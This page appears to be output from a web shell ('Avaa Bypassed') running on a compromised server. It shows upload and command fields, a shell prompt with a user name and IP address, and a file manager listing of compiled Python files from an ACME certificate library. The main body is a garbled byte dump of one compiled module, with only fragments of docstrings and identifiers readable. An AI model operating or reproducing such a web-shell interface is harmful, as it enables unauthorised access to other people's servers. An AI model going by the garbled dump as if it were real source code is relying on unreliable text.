404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.218.94.236: ~ $
3

گaS	�@sRdZddlmZddlZGdd�dej�ZGdd�dej�ZGdd	�d	ej�ZdS)
z�ACME-specific JWS.

The JWS implementation in josepy only implements the base JOSE standard. In
order to support the new header fields defined in ACME, this module defines some
ACME-specific classes that layer on top of josepy.
�)�OptionalNc@sTeZdZdZejddejd�Zejddd�Zejddd�Z	ej
eed�d	d
��ZdS)�Headerz?ACME-specific JOSE Header. Implements nonce, kid, and url.
    �nonceT)�	omitempty�encoder�kid)r�url)�value�returncCsDy
tj|�Stjk
r>}ztjdj|���WYdd}~XnXdS)NzInvalid nonce: {0})�joseZdecode_b64joseZDeserializationError�format)r	�error�r�/usr/lib/python3.6/jws.pyrs
zHeader.nonceN)
�__name__�
__module__�__qualname__�__doc__r�FieldZencode_b64joserrr�decoder�str�bytesrrrrrsrc@s2eZdZdZejjZeZ	ej
dde	�e	jd�ZdS)�	SignaturezGACME-specific Signature. Uses ACME-specific Header for customer fields.�headerT)r�defaultrN)
rrrrrr�_orig_slots�	__slots__rZ
header_clsrZ	from_jsonrrrrrrsrc
sVeZdZdZeZejjZ	e
deejej
eeeeeeejd��fdd�
�Z�ZS)�JWSzCACME-specific JWS. Includes none, url, and kid in protected header.N)�payload�key�algrrrr
c
s2|dk}t�j|||tdddddg�||||d�S)NrrrZjwkr )rr Zprotectrrr�include_jwk)�super�sign�	frozenset)�clsrrr rrrr!)�	__class__rrr#1s
zJWS.sign)NN)rrrrrZ
signature_clsrrrr�classmethodrZJWKZJWASignaturerrr#�
__classcell__rr)r&rr,s
r)rZtypingrZjosepyrrrrrrrr�<module>s


Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 463 B 0644
__init__.cpython-36.pyc File 463 B 0644
challenges.cpython-36.opt-1.pyc File 20.02 KB 0644
challenges.cpython-36.pyc File 20.02 KB 0644
client.cpython-36.opt-1.pyc File 41.89 KB 0644
client.cpython-36.pyc File 42.06 KB 0644
crypto_util.cpython-36.opt-1.pyc File 13.45 KB 0644
crypto_util.cpython-36.pyc File 13.55 KB 0644
errors.cpython-36.opt-1.pyc File 6.19 KB 0644
errors.cpython-36.pyc File 6.19 KB 0644
fields.cpython-36.opt-1.pyc File 2.59 KB 0644
fields.cpython-36.pyc File 2.59 KB 0644
jws.cpython-36.opt-1.pyc File 2.11 KB 0644
jws.cpython-36.pyc File 2.11 KB 0644
magic_typing.cpython-36.opt-1.pyc File 875 B 0644
magic_typing.cpython-36.pyc File 875 B 0644
messages.cpython-36.opt-1.pyc File 26.46 KB 0644
messages.cpython-36.pyc File 26.49 KB 0644
mixins.cpython-36.opt-1.pyc File 3.03 KB 0644
mixins.cpython-36.pyc File 3.03 KB 0644
standalone.cpython-36.opt-1.pyc File 11.41 KB 0644
standalone.cpython-36.pyc File 11.41 KB 0644
util.cpython-36.opt-1.pyc File 622 B 0644
util.cpython-36.pyc File 622 B 0644